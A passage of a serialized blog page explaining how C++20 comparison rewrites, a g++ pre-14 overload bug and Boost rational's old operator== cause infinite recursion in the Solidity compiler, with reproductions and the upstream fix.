89033],{"type":26,"value":17451},{"type":20,"tag":315,"props":89035,"children":89036},{"style":345},[89037],{"type":26,"value":89038}," main",{"type":20,"tag":315,"props":89040,"children":89041},{"style":328},[89042],{"type":26,"value":14137},{"type":20,"tag":315,"props":89044,"children":89045},{"class":317,"line":2139},[89046,89051,89055,89059,89063],{"type":20,"tag":315,"props":89047,"children":89048},{"style":328},[89049],{"type":26,"value":89050}," rational",{"type":20,"tag":315,"props":89052,"children":89053},{"style":334},[89054],{"type":26,"value":4199},{"type":20,"tag":315,"props":89056,"children":89057},{"style":541},[89058],{"type":26,"value":17451},{"type":20,"tag":315,"props":89060,"children":89061},{"style":334},[89062],{"type":26,"value":8862},{"type":20,"tag":315,"props":89064,"children":89065},{"style":328},[89066],{"type":26,"value":89067}," r;\n",{"type":20,"tag":315,"props":89069,"children":89070},{"class":317,"line":2147},[89071,89075,89080,89084,89088],{"type":20,"tag":315,"props":89072,"children":89073},{"style":525},[89074],{"type":26,"value":731},{"type":20,"tag":315,"props":89076,"children":89077},{"style":328},[89078],{"type":26,"value":89079}," r ",{"type":20,"tag":315,"props":89081,"children":89082},{"style":334},[89083],{"type":26,"value":538},{"type":20,"tag":315,"props":89085,"children":89086},{"style":765},[89087],{"type":26,"value":985},{"type":20,"tag":315,"props":89089,"children":89090},{"style":328},[89091],{"type":26,"value":1405},{"type":20,"tag":315,"props":89093,"children":89094},{"class":317,"line":2177},[89095],{"type":20,"tag":315,"props":89096,"children":89097},{"style":328},[89098],{"type":26,"value":577},{"type":20,"tag":15089,"props":89100,"children":89101},{},[89102],{"type":20,"tag":72,"props":89103,"children":89104},{},[89105],{"type":26,"value":89106},"Compile with g++\u003C14:",{"type":20,"tag":305,"props":89108,"children":89110},{"code":89109,"language":2637,"meta":7,"className":2638,"style":7},"g++ -std=c++17 main.cpp -o test && ./test\n",[89111],{"type":20,"tag":119,"props":89112,"children":89113},{"__ignoreMap":7},[89114],{"type":20,"tag":315,"props":89115,"children":89116},{"class":317,"line":318},[89117,89122,89127,89132,89137,89141,89146],{"type":20,"tag":315,"props":89118,"children":89119},{"style":345},[89120],{"type":26,"value":89121},"g++",{"type":20,"tag":315,"props":89123,"children":89124},{"style":2652},[89125],{"type":26,"value":89126}," -std=c++17",{"type":20,"tag":315,"props":89128,"children":89129},{"style":2652},[89130],{"type":26,"value":89131}," main.cpp",{"type":20,"tag":315,"props":89133,"children":89134},{"style":2652},[89135],{"type":26,"value":89136}," -o",{"type":20,"tag":315,"props":89138,"children":89139},{"style":2652},[89140],{"type":26,"value":29093},{"type":20,"tag":315,"props":89142,"children":89143},{"style":328},[89144],{"type":26,"value":89145}," && ",{"type":20,"tag":315,"props":89147,"children":89148},{"style":345},[89149],{"type":26,"value":89150},"./test\n",{"type":20,"tag":29,"props":89152,"children":89153},{},[89154],{"type":26,"value":89155},"Output (on g++ 11.4):",{"type":20,"tag":305,"props":89157,"children":89159},{"code":89158},"g++ \u003C14 resolved non-member\n",[89160],{"type":20,"tag":119,"props":89161,"children":89162},{"__ignoreMap":7},[89163],{"type":26,"value":89158},{"type":20,"tag":15089,"props":89165,"children":89166},{},[89167],{"type":20,"tag":72,"props":89168,"children":89169},{},[89170],{"type":26,"value":89171},"Compile with clang++:",{"type":20,"tag":305,"props":89173,"children":89175},{"code":89174,"language":2637,"meta":7,"className":2638,"style":7},"clang++ -std=c++17 main.cpp -o test && ./test\n",[89176],{"type":20,"tag":119,"props":89177,"children":89178},{"__ignoreMap":7},[89179],{"type":20,"tag":315,"props":89180,"children":89181},{"class":317,"line":318},[89182,89187,89191,89195,89199,89203,89207],{"type":20,"tag":315,"props":89183,"children":89184},{"style":345},[89185],{"type":26,"value":89186},"clang++",{"type":20,"tag":315,"props":89188,"children":89189},{"style":2652},[89190],{"type":26,"value":89126},{"type":20,"tag":315,"props":89192,"children":89193},{"style":2652},[89194],{"type":26,"value":89131},{"type":20,"tag":315,"props":89196,"children":89197},{"style":2652},[89198],{"type":26,"value":89136},{"type":20,"tag":315,"props":89200,"children":89201},{"style":2652},[89202],{"type":26,"value":29093},{"type":20,"tag":315,"props":89204,"children":89205},{"style":328},[89206],{"type":26,"value":89145},{"type":20,"tag":315,"props":89208,"children":89209},{"style":345},[89210],{"type":26,"value":89150},{"type":20,"tag":29,"props":89212,"children":89213},{},[89214],{"type":26,"value":89215},"Output:",{"type":20,"tag":305,"props":89217,"children":89219},{"code":89218},"clang++ resolved member\n",[89220],{"type":20,"tag":119,"props":89221,"children":89222},{"__ignoreMap":7},[89223],{"type":26,"value":89218},{"type":20,"tag":29,"props":89225,"children":89226},{},[89227],{"type":26,"value":89228},"In short, the wrong function gets picked. G++ was broken here until v14.",{"type":20,"tag":17197,"props":89230,"children":89231},{},[],{"type":20,"tag":21,"props":89233,"children":89235},{"id":89234},"part-ii-c20s-symmetric-comparison-feature",[89236],{"type":26,"value":89237},"Part II: C++20’s Symmetric Comparison Feature",{"type":20,"tag":219,"props":89239,"children":89241},{"id":89240},"what-changed-in-c20",[89242],{"type":26,"value":89243},"What Changed in C++20?",{"type":20,"tag":29,"props":89245,"children":89246},{},[89247,89249,89262,89263,89268],{"type":26,"value":89248},"C++20 introduced the ",{"type":20,"tag":35,"props":89250,"children":89253},{"href":89251,"rel":89252},"https://en.cppreference.com/w/cpp/language/operator_comparison",[39],[89254,89256],{"type":26,"value":89255},"spaceship operator ",{"type":20,"tag":119,"props":89257,"children":89259},{"className":89258},[],[89260],{"type":26,"value":89261},"\u003C=>",{"type":26,"value":9392},{"type":20,"tag":3717,"props":89264,"children":89265},{},[89266],{"type":26,"value":89267},"defaulted comparison rewrites",{"type":26,"value":61},{"type":20,"tag":29,"props":89270,"children":89271},{},[89272,89274,89279],{"type":26,"value":89273},"When you define a two-argument ",{"type":20,"tag":119,"props":89275,"children":89277},{"className":89276},[],[89278],{"type":26,"value":88513},{"type":26,"value":89280},", C++20 may implicitly define the \"reversed\" version:",{"type":20,"tag":15089,"props":89282,"children":89283},{},[89284,89295],{"type":20,"tag":72,"props":89285,"children":89286},{},[89287,89289],{"type":26,"value":89288},"If you define: ",{"type":20,"tag":119,"props":89290,"children":89292},{"className":89291},[],[89293],{"type":26,"value":89294},"bool operator==(T1, T2);",{"type":20,"tag":72,"props":89296,"children":89297},{},[89298,89300,89306],{"type":26,"value":89299},"Then ",{"type":20,"tag":119,"props":89301,"children":89303},{"className":89302},[],[89304],{"type":26,"value":89305},"T2 == T1",{"type":26,"value":89307}," may call the same function by reversing the arguments.",{"type":20,"tag":29,"props":89309,"children":89310},{},[89311,89313,89318,89319,89324,89326,89332,89334,89339],{"type":26,"value":89312},"This rewrite is ",{"type":20,"tag":3717,"props":89314,"children":89315},{},[89316],{"type":26,"value":89317},"recursive",{"type":26,"value":13732},{"type":20,"tag":119,"props":89320,"children":89322},{"className":89321},[],[89323],{"type":26,"value":88505},{"type":26,"value":89325}," becomes ",{"type":20,"tag":119,"props":89327,"children":89329},{"className":89328},[],[89330],{"type":26,"value":89331},"b == a",{"type":26,"value":89333},", which becomes ",{"type":20,"tag":119,"props":89335,"children":89337},{"className":89336},[],[89338],{"type":26,"value":88505},{"type":26,"value":89340}," again, and so on — if not handled carefully.",{"type":20,"tag":29,"props":89342,"children":89343},{},[89344],{"type":26,"value":89345},"This is great for reducing boilerplate — unless the call becomes ambiguous or self-referential.",{"type":20,"tag":17197,"props":89347,"children":89348},{},[],{"type":20,"tag":21,"props":89350,"children":89352},{"id":89351},"part-iii-the-boost-trapdoor",[89353],{"type":26,"value":89354},"Part III: The Boost Trapdoor",{"type":20,"tag":29,"props":89356,"children":89357},{},[89358,89360,89366,89368,89373],{"type":26,"value":89359},"The old Boost ",{"type":20,"tag":119,"props":89361,"children":89363},{"className":89362},[],[89364],{"type":26,"value":89365},"rational",{"type":26,"value":89367}," class (prior to v1.75) defined both member function and non-member function of ",{"type":20,"tag":119,"props":89369,"children":89371},{"className":89370},[],[89372],{"type":26,"value":88513},{"type":26,"value":2884},{"type":20,"tag":305,"props":89375,"children":89377},{"code":89376,"language":27527,"meta":7,"className":27525,"style":7},"template \u003Cclass Arg, class IntType>\ntemplate \u003Ctypename IntType>\nclass rational\n{\n ...\npublic:\n ...\n \n template \u003Cclass T>\n BOOST_CONSTEXPR typename boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003CT, IntType>::value, bool>::type operator== (const T& i) const\n {\n return ((den == IntType(1)) && (num == i));\n }\n ...\n}\n\ntemplate \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n return a == b; \n}\n",[89378],{"type":20,"tag":119,"props":89379,"children":89380},{"__ignoreMap":7},[89381,89416,89439,89451,89458,89465,89472,89479,89486,89509,89597,89604,89655,89662,89669,89676,89683,89718,89726,89754,89793,89858,89865,89885],{"type":20,"tag":315,"props":89382,"children":89383},{"class":317,"line":318},[89384,89388,89392,89396,89400,89404,89408,89412],{"type":20,"tag":315,"props":89385,"children":89386},{"style":541},[89387],{"type":26,"value":64471},{"type":20,"tag":315,"props":89389,"children":89390},{"style":328},[89391],{"type":26,"value":7115},{"type":20,"tag":315,"props":89393,"children":89394},{"style":541},[89395],{"type":26,"value":68666},{"type":20,"tag":315,"props":89397,"children":89398},{"style":322},[89399],{"type":26,"value":88887},{"type":20,"tag":315,"props":89401,"children":89402},{"style":328},[89403],{"type":26,"value":44},{"type":20,"tag":315,"props":89405,"children":89406},{"style":541},[89407],{"type":26,"value":68666},{"type":20,"tag":315,"props":89409,"children":89410},{"style":322},[89411],{"type":26,"value":88706},{"type":20,"tag":315,"props":89413,"children":89414},{"style":328},[89415],{"type":26,"value":4386},{"type":20,"tag":315,"props":89417,"children":89418},{"class":317,"line":356},[89419,89423,89427,89431,89435],{"type":20,"tag":315,"props":89420,"children":89421},{"style":541},[89422],{"type":26,"value":64471},{"type":20,"tag":315,"props":89424,"children":89425},{"style":328},[89426],{"type":26,"value":7115},{"type":20,"tag":315,"props":89428,"children":89429},{"style":541},[89430],{"type":26,"value":88701},{"type":20,"tag":315,"props":89432,"children":89433},{"style":322},[89434],{"type":26,"value":88706},{"type":20,"tag":315,"props":89436,"children":89437},{"style":328},[89438],{"type":26,"value":4386},{"type":20,"tag":315,"props":89440,"children":89441},{"class":317,"line":365},[89442,89446],{"type":20,"tag":315,"props":89443,"children":89444},{"style":541},[89445],{"type":26,"value":68666},{"type":20,"tag":315,"props":89447,"children":89448},{"style":322},[89449],{"type":26,"value":89450}," rational\n",{"type":20,"tag":315,"props":89452,"children":89453},{"class":317,"line":374},[89454],{"type":20,"tag":315,"props":89455,"children":89456},{"style":328},[89457],{"type":26,"value":723},{"type":20,"tag":315,"props":89459,"children":89460},{"class":317,"line":383},[89461],{"type":20,"tag":315,"props":89462,"children":89463},{"style":328},[89464],{"type":26,"value":18743},{"type":20,"tag":315,"props":89466,"children":89467},{"class":317,"line":407},[89468],{"type":20,"tag":315,"props":89469,"children":89470},{"style":541},[89471],{"type":26,"value":88734},{"type":20,"tag":315,"props":89473,"children":89474},{"class":317,"line":421},[89475],{"type":20,"tag":315,"props":89476,"children":89477},{"style":328},[89478],{"type":26,"value":18743},{"type":20,"tag":315,"props":89480,"children":89481},{"class":317,"line":430},[89482],{"type":20,"tag":315,"props":89483,"children":89484},{"style":328},[89485],{"type":26,"value":60040},{"type":20,"tag":315,"props":89487,"children":89488},{"class":317,"line":453},[89489,89493,89497,89501,89505],{"type":20,"tag":315,"props":89490,"children":89491},{"style":541},[89492],{"type":26,"value":88742},{"type":20,"tag":315,"props":89494,"children":89495},{"style":328},[89496],{"type":26,"value":7115},{"type":20,"tag":315,"props":89498,"children":89499},{"style":541},[89500],{"type":26,"value":68666},{"type":20,"tag":315,"props":89502,"children":89503},{"style":322},[89504],{"type":26,"value":4312},{"type":20,"tag":315,"props":89506,"children":89507},{"style":328},[89508],{"type":26,"value":4386},{"type":20,"tag":315,"props":89510,"children":89511},{"class":317,"line":486},[89512,89517,89521,89526,89530,89534,89538,89543,89547,89551,89555,89559,89563,89567,89572,89576,89580,89584,89588,89592],{"type":20,"tag":315,"props":89513,"children":89514},{"style":328},[89515],{"type":26,"value":89516}," BOOST_CONSTEXPR ",{"type":20,"tag":315,"props":89518,"children":89519},{"style":541},[89520],{"type":26,"value":88701},{"type":20,"tag":315,"props":89522,"children":89523},{"style":328},[89524],{"type":26,"value":89525}," boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003C",{"type":20,"tag":315,"props":89527,"children":89528},{"style":322},[89529],{"type":26,"value":4381},{"type":20,"tag":315,"props":89531,"children":89532},{"style":328},[89533],{"type":26,"value":44},{"type":20,"tag":315,"props":89535,"children":89536},{"style":322},[89537],{"type":26,"value":88935},{"type":20,"tag":315,"props":89539,"children":89540},{"style":328},[89541],{"type":26,"value":89542},">::",{"type":20,"tag":315,"props":89544,"children":89545},{"style":322},[89546],{"type":26,"value":37568},{"type":20,"tag":315,"props":89548,"children":89549},{"style":328},[89550],{"type":26,"value":44},{"type":20,"tag":315,"props":89552,"children":89553},{"style":541},[89554],{"type":26,"value":436},{"type":20,"tag":315,"props":89556,"children":89557},{"style":328},[89558],{"type":26,"value":89542},{"type":20,"tag":315,"props":89560,"children":89561},{"style":322},[89562],{"type":26,"value":31170},{"type":20,"tag":315,"props":89564,"children":89565},{"style":541},[89566],{"type":26,"value":88770},{"type":20,"tag":315,"props":89568,"children":89569},{"style":328},[89570],{"type":26,"value":89571},"== (",{"type":20,"tag":315,"props":89573,"children":89574},{"style":541},[89575],{"type":26,"value":8054},{"type":20,"tag":315,"props":89577,"children":89578},{"style":322},[89579],{"type":26,"value":4312},{"type":20,"tag":315,"props":89581,"children":89582},{"style":541},[89583],{"type":26,"value":1490},{"type":20,"tag":315,"props":89585,"children":89586},{"style":635},[89587],{"type":26,"value":1779},{"type":20,"tag":315,"props":89589,"children":89590},{"style":328},[89591],{"type":26,"value":1468},{"type":20,"tag":315,"props":89593,"children":89594},{"style":541},[89595],{"type":26,"value":89596},"const\n",{"type":20,"tag":315,"props":89598,"children":89599},{"class":317,"line":499},[89600],{"type":20,"tag":315,"props":89601,"children":89602},{"style":328},[89603],{"type":26,"value":27602},{"type":20,"tag":315,"props":89605,"children":89606},{"class":317,"line":513},[89607,89612,89617,89621,89625,89629,89633,89637,89641,89646,89650],{"type":20,"tag":315,"props":89608,"children":89609},{"style":525},[89610],{"type":26,"value":89611}," return",{"type":20,"tag":315,"props":89613,"children":89614},{"style":328},[89615],{"type":26,"value":89616}," ((den ",{"type":20,"tag":315,"props":89618,"children":89619},{"style":334},[89620],{"type":26,"value":538},{"type":20,"tag":315,"props":89622,"children":89623},{"style":345},[89624],{"type":26,"value":88706},{"type":20,"tag":315,"props":89626,"children":89627},{"style":328},[89628],{"type":26,"value":1049},{"type":20,"tag":315,"props":89630,"children":89631},{"style":765},[89632],{"type":26,"value":2406},{"type":20,"tag":315,"props":89634,"children":89635},{"style":328},[89636],{"type":26,"value":7233},{"type":20,"tag":315,"props":89638,"children":89639},{"style":334},[89640],{"type":26,"value":71453},{"type":20,"tag":315,"props":89642,"children":89643},{"style":328},[89644],{"type":26,"value":89645}," (num ",{"type":20,"tag":315,"props":89647,"children":89648},{"style":334},[89649],{"type":26,"value":538},{"type":20,"tag":315,"props":89651,"children":89652},{"style":328},[89653],{"type":26,"value":89654}," i));\n",{"type":20,"tag":315,"props":89656,"children":89657},{"class":317,"line":521},[89658],{"type":20,"tag":315,"props":89659,"children":89660},{"style":328},[89661],{"type":26,"value":1736},{"type":20,"tag":315,"props":89663,"children":89664},{"class":317,"line":552},[89665],{"type":20,"tag":315,"props":89666,"children":89667},{"style":328},[89668],{"type":26,"value":18743},{"type":20,"tag":315,"props":89670,"children":89671},{"class":317,"line":571},[89672],{"type":20,"tag":315,"props":89673,"children":89674},{"style":328},[89675],{"type":26,"value":577},{"type":20,"tag":315,"props":89677,"children":89678},{"class":317,"line":2031},[89679],{"type":20,"tag":315,"props":89680,"children":89681},{"emptyLinePlaceholder":15},[89682],{"type":26,"value":427},{"type":20,"tag":315,"props":89684,"children":89685},{"class":317,"line":2053},[89686,89690,89694,89698,89702,89706,89710,89714],{"type":20,"tag":315,"props":89687,"children":89688},{"style":541},[89689],{"type":26,"value":64471},{"type":20,"tag":315,"props":89691,"children":89692},{"style":328},[89693],{"type":26,"value":7115},{"type":20,"tag":315,"props":89695,"children":89696},{"style":541},[89697],{"type":26,"value":68666},{"type":20,"tag":315,"props":89699,"children":89700},{"style":322},[89701],{"type":26,"value":88887},{"type":20,"tag":315,"props":89703,"children":89704},{"style":328},[89705],{"type":26,"value":44},{"type":20,"tag":315,"props":89707,"children":89708},{"style":541},[89709],{"type":26,"value":68666},{"type":20,"tag":315,"props":89711,"children":89712},{"style":322},[89713],{"type":26,"value":88706},{"type":20,"tag":315,"props":89715,"children":89716},{"style":328},[89717],{"type":26,"value":4386},{"type":20,"tag":315,"props":89719,"children":89720},{"class":317,"line":2061},[89721],{"type":20,"tag":315,"props":89722,"children":89723},{"style":328},[89724],{"type":26,"value":89725},"BOOST_CONSTEXPR\n",{"type":20,"tag":315,"props":89727,"children":89728},{"class":317,"line":2070},[89729,89734,89739,89744,89749],{"type":20,"tag":315,"props":89730,"children":89731},{"style":541},[89732],{"type":26,"value":89733},"inline",{"type":20,"tag":315,"props":89735,"children":89736},{"style":541},[89737],{"type":26,"value":89738}," typename",{"type":20,"tag":315,"props":89740,"children":89741},{"style":328},[89742],{"type":26,"value":89743}," boost::",{"type":20,"tag":315,"props":89745,"children":89746},{"style":322},[89747],{"type":26,"value":89748},"enable_if_c",{"type":20,"tag":315,"props":89750,"children":89751},{"style":334},[89752],{"type":26,"value":89753}," \u003C\n",{"type":20,"tag":315,"props":89755,"children":89756},{"class":317,"line":2139},[89757,89762,89767,89771,89775,89780,89784,89788],{"type":20,"tag":315,"props":89758,"children":89759},{"style":328},[89760],{"type":26,"value":89761}," rational_detail::is_compatible_integer\u003C",{"type":20,"tag":315,"props":89763,"children":89764},{"style":322},[89765],{"type":26,"value":89766},"Arg",{"type":20,"tag":315,"props":89768,"children":89769},{"style":328},[89770],{"type":26,"value":44},{"type":20,"tag":315,"props":89772,"children":89773},{"style":322},[89774],{"type":26,"value":88935},{"type":20,"tag":315,"props":89776,"children":89777},{"style":328},[89778],{"type":26,"value":89779},">::value, ",{"type":20,"tag":315,"props":89781,"children":89782},{"style":541},[89783],{"type":26,"value":436},{"type":20,"tag":315,"props":89785,"children":89786},{"style":334},[89787],{"type":26,"value":8862},{"type":20,"tag":315,"props":89789,"children":89790},{"style":328},[89791],{"type":26,"value":89792},"::type\n",{"type":20,"tag":315,"props":89794,"children":89795},{"class":317,"line":2147},[89796,89801,89806,89810,89814,89818,89822,89826,89830,89834,89838,89842,89846,89850,89854],{"type":20,"tag":315,"props":89797,"children":89798},{"style":541},[89799],{"type":26,"value":89800}," operator",{"type":20,"tag":315,"props":89802,"children":89803},{"style":328},[89804],{"type":26,"value":89805}," == (",{"type":20,"tag":315,"props":89807,"children":89808},{"style":541},[89809],{"type":26,"value":8054},{"type":20,"tag":315,"props":89811,"children":89812},{"style":322},[89813],{"type":26,"value":88887},{"type":20,"tag":315,"props":89815,"children":89816},{"style":541},[89817],{"type":26,"value":1490},{"type":20,"tag":315,"props":89819,"children":89820},{"style":635},[89821],{"type":26,"value":88968},{"type":20,"tag":315,"props":89823,"children":89824},{"style":328},[89825],{"type":26,"value":44},{"type":20,"tag":315,"props":89827,"children":89828},{"style":541},[89829],{"type":26,"value":8054},{"type":20,"tag":315,"props":89831,"children":89832},{"style":322},[89833],{"type":26,"value":88722},{"type":20,"tag":315,"props":89835,"children":89836},{"style":328},[89837],{"type":26,"value":4199},{"type":20,"tag":315,"props":89839,"children":89840},{"style":322},[89841],{"type":26,"value":88935},{"type":20,"tag":315,"props":89843,"children":89844},{"style":328},[89845],{"type":26,"value":8862},{"type":20,"tag":315,"props":89847,"children":89848},{"style":541},[89849],{"type":26,"value":1490},{"type":20,"tag":315,"props":89851,"children":89852},{"style":635},[89853],{"type":26,"value":88094},{"type":20,"tag":315,"props":89855,"children":89856},{"style":328},[89857],{"type":26,"value":380},{"type":20,"tag":315,"props":89859,"children":89860},{"class":317,"line":2177},[89861],{"type":20,"tag":315,"props":89862,"children":89863},{"style":328},[89864],{"type":26,"value":723},{"type":20,"tag":315,"props":89866,"children":89867},{"class":317,"line":2185},[89868,89872,89876,89880],{"type":20,"tag":315,"props":89869,"children":89870},{"style":525},[89871],{"type":26,"value":37773},{"type":20,"tag":315,"props":89873,"children":89874},{"style":328},[89875],{"type":26,"value":15167},{"type":20,"tag":315,"props":89877,"children":89878},{"style":334},[89879],{"type":26,"value":538},{"type":20,"tag":315,"props":89881,"children":89882},{"style":328},[89883],{"type":26,"value":89884}," b; \n",{"type":20,"tag":315,"props":89886,"children":89887},{"class":317,"line":2217},[89888],{"type":20,"tag":315,"props":89889,"children":89890},{"style":328},[89891],{"type":26,"value":577},{"type":20,"tag":29,"props":89893,"children":89894},{},[89895,89897,89903],{"type":26,"value":89896},"This was designed under C++17 semantics. Back then, ",{"type":20,"tag":119,"props":89898,"children":89900},{"className":89899},[],[89901],{"type":26,"value":89902},"rhs == lhs",{"type":26,"value":89904}," would fall back to member overloads if available. All good.",{"type":20,"tag":29,"props":89906,"children":89907},{},[89908,89910,89915,89916,89922],{"type":26,"value":89909},"But under ",{"type":20,"tag":119,"props":89911,"children":89913},{"className":89912},[],[89914],{"type":26,"value":88459},{"type":26,"value":19908},{"type":20,"tag":119,"props":89917,"children":89919},{"className":89918},[],[89920],{"type":26,"value":89921},"G++ \u003C 14",{"type":26,"value":2884},{"type":20,"tag":15089,"props":89924,"children":89925},{},[89926,89931,89936,89941],{"type":20,"tag":72,"props":89927,"children":89928},{},[89929],{"type":26,"value":89930},"G++ incorrectly chooses this non-member operator first",{"type":20,"tag":72,"props":89932,"children":89933},{},[89934],{"type":26,"value":89935},"C++20 reverses the comparison",{"type":20,"tag":72,"props":89937,"children":89938},{},[89939],{"type":26,"value":89940},"Which calls the same function again with arguments flipped",{"type":20,"tag":72,"props":89942,"children":89943},{},[89944],{"type":26,"value":89945},"And so on...",{"type":20,"tag":29,"props":89947,"children":89948},{},[89949,89951,89956],{"type":26,"value":89950},"This creates ",{"type":20,"tag":3717,"props":89952,"children":89953},{},[89954],{"type":26,"value":89955},"infinite recursion",{"type":26,"value":61},{"type":20,"tag":29,"props":89958,"children":89959},{},[89960],{"type":26,"value":89961},"A minimal example:",{"type":20,"tag":305,"props":89963,"children":89965},{"code":89964,"language":27527,"meta":7,"className":27525,"style":7},"// g++ -std=c++20 -o crash main.cpp && ./crash\n#include \u003Cboost/rational.hpp>\n\nint main() {\n boost::rational\u003Cint> r;\n return r == 0;\n}\n",[89966],{"type":20,"tag":119,"props":89967,"children":89968},{"__ignoreMap":7},[89969,89977,89989,89996,90011,90035,90058],{"type":20,"tag":315,"props":89970,"children":89971},{"class":317,"line":318},[89972],{"type":20,"tag":315,"props":89973,"children":89974},{"style":1071},[89975],{"type":26,"value":89976},"// g++ -std=c++20 -o crash main.cpp && ./crash\n",{"type":20,"tag":315,"props":89978,"children":89979},{"class":317,"line":356},[89980,89984],{"type":20,"tag":315,"props":89981,"children":89982},{"style":525},[89983],{"type":26,"value":88673},{"type":20,"tag":315,"props":89985,"children":89986},{"style":2652},[89987],{"type":26,"value":89988}," \u003Cboost/rational.hpp>\n",{"type":20,"tag":315,"props":89990,"children":89991},{"class":317,"line":365},[89992],{"type":20,"tag":315,"props":89993,"children":89994},{"emptyLinePlaceholder":15},[89995],{"type":26,"value":427},{"type":20,"tag":315,"props":89997,"children":89998},{"class":317,"line":374},[89999,90003,90007],{"type":20,"tag":315,"props":90000,"children":90001},{"style":541},[90002],{"type":26,"value":17451},{"type":20,"tag":315,"props":90004,"children":90005},{"style":345},[90006],{"type":26,"value":89038},{"type":20,"tag":315,"props":90008,"children":90009},{"style":328},[90010],{"type":26,"value":14137},{"type":20,"tag":315,"props":90012,"children":90013},{"class":317,"line":383},[90014,90019,90023,90027,90031],{"type":20,"tag":315,"props":90015,"children":90016},{"style":328},[90017],{"type":26,"value":90018}," boost::rational",{"type":20,"tag":315,"props":90020,"children":90021},{"style":334},[90022],{"type":26,"value":4199},{"type":20,"tag":315,"props":90024,"children":90025},{"style":541},[90026],{"type":26,"value":17451},{"type":20,"tag":315,"props":90028,"children":90029},{"style":334},[90030],{"type":26,"value":8862},{"type":20,"tag":315,"props":90032,"children":90033},{"style":328},[90034],{"type":26,"value":89067},{"type":20,"tag":315,"props":90036,"children":90037},{"class":317,"line":407},[90038,90042,90046,90050,90054],{"type":20,"tag":315,"props":90039,"children":90040},{"style":525},[90041],{"type":26,"value":731},{"type":20,"tag":315,"props":90043,"children":90044},{"style":328},[90045],{"type":26,"value":89079},{"type":20,"tag":315,"props":90047,"children":90048},{"style":334},[90049],{"type":26,"value":538},{"type":20,"tag":315,"props":90051,"children":90052},{"style":765},[90053],{"type":26,"value":985},{"type":20,"tag":315,"props":90055,"children":90056},{"style":328},[90057],{"type":26,"value":1405},{"type":20,"tag":315,"props":90059,"children":90060},{"class":317,"line":421},[90061],{"type":20,"tag":315,"props":90062,"children":90063},{"style":328},[90064],{"type":26,"value":577},{"type":20,"tag":29,"props":90066,"children":90067},{},[90068],{"type":26,"value":90069},"Expected output: nothing.",{"type":20,"tag":29,"props":90071,"children":90072},{},[90073],{"type":26,"value":90074},"Actual: segmentation fault (stack overflow).",{"type":20,"tag":29,"props":90076,"children":90077},{},[90078,90080,90087],{"type":26,"value":90079},"This exact pattern was ",{"type":20,"tag":35,"props":90081,"children":90084},{"href":90082,"rel":90083},"https://github.com/boostorg/rational/issues/43",[39],[90085],{"type":26,"value":90086},"reported and fixed in Boost rational",{"type":26,"value":90088},", but only in version 1.75+.",{"type":20,"tag":29,"props":90090,"children":90091},{},[90092],{"type":26,"value":90093},"Here’s the one-line fix:",{"type":20,"tag":305,"props":90095,"children":90097},{"code":90096,"language":38779,"meta":7,"className":38777,"style":7},"template \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n- return a == b;\n+ return a.operator==(b);\n}\n",[90098],{"type":20,"tag":119,"props":90099,"children":90100},{"__ignoreMap":7},[90101,90109,90116,90124,90132,90140,90147,90155,90163],{"type":20,"tag":315,"props":90102,"children":90103},{"class":317,"line":318},[90104],{"type":20,"tag":315,"props":90105,"children":90106},{"style":328},[90107],{"type":26,"value":90108},"template \u003Cclass Arg, class IntType>\n",{"type":20,"tag":315,"props":90110,"children":90111},{"class":317,"line":356},[90112],{"type":20,"tag":315,"props":90113,"children":90114},{"style":328},[90115],{"type":26,"value":89725},{"type":20,"tag":315,"props":90117,"children":90118},{"class":317,"line":365},[90119],{"type":20,"tag":315,"props":90120,"children":90121},{"style":328},[90122],{"type":26,"value":90123},"inline typename boost::enable_if_c \u003C\n",{"type":20,"tag":315,"props":90125,"children":90126},{"class":317,"line":374},[90127],{"type":20,"tag":315,"props":90128,"children":90129},{"style":328},[90130],{"type":26,"value":90131}," rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n",{"type":20,"tag":315,"props":90133,"children":90134},{"class":317,"line":383},[90135],{"type":20,"tag":315,"props":90136,"children":90137},{"style":328},[90138],{"type":26,"value":90139}," operator == (const Arg& b, const rational\u003CIntType>& a)\n",{"type":20,"tag":315,"props":90141,"children":90142},{"class":317,"line":407},[90143],{"type":20,"tag":315,"props":90144,"children":90145},{"style":328},[90146],{"type":26,"value":723},{"type":20,"tag":315,"props":90148,"children":90149},{"class":317,"line":421},[90150],{"type":20,"tag":315,"props":90151,"children":90152},{"style":2652},[90153],{"type":26,"value":90154},"- return a == b;\n",{"type":20,"tag":315,"props":90156,"children":90157},{"class":317,"line":430},[90158],{"type":20,"tag":315,"props":90159,"children":90160},{"style":765},[90161],{"type":26,"value":90162},"+ return a.operator==(b);\n",{"type":20,"tag":315,"props":90164,"children":90165},{"class":317,"line":453},[90166],{"type":20,"tag":315,"props":90167,"children":90168},{"style":328},[90169],{"type":26,"value":577},{"type":20,"tag":29,"props":90171,"children":90172},{},[90173,90175,90180,90182,90187],{"type":26,"value":90174},"Instead of calling ",{"type":20,"tag":119,"props":90176,"children":90178},{"className":90177},[],[90179],{"type":26,"value":88505},{"type":26,"value":90181}," — which triggers overload resolution again — the patched version directly calls the member function ",{"type":20,"tag":119,"props":90183,"children":90185},{"className":90184},[],[90186],{"type":26,"value":88513},{"type":26,"value":61},{"type":20,"tag":29,"props":90189,"children":90190},{},[90191],{"type":26,"value":90192},"This prevents C++20 from triggering recursive rewrites.",{"type":20,"tag":17197,"props":90194,"children":90195},{},[],{"type":20,"tag":21,"props":90197,"children":90199},{"id":90198},"part-iv-how-this-breaks-solidity",[90200],{"type":26,"value":90201},"Part IV: How This Breaks Solidity",{"type":20,"tag":29,"props":90203,"children":90204},{},[90205,90207,90212],{"type":26,"value":90206},"The Solidity codebase uses ",{"type":20,"tag":119,"props":90208,"children":90210},{"className":90209},[],[90211],{"type":26,"value":88360},{"type":26,"value":90213}," to represent certain compile-time constant expressions.",{"type":20,"tag":29,"props":90215,"children":90216},{},[90217,90219,90225],{"type":26,"value":90218},"One snippet that can trigger this issue appears in 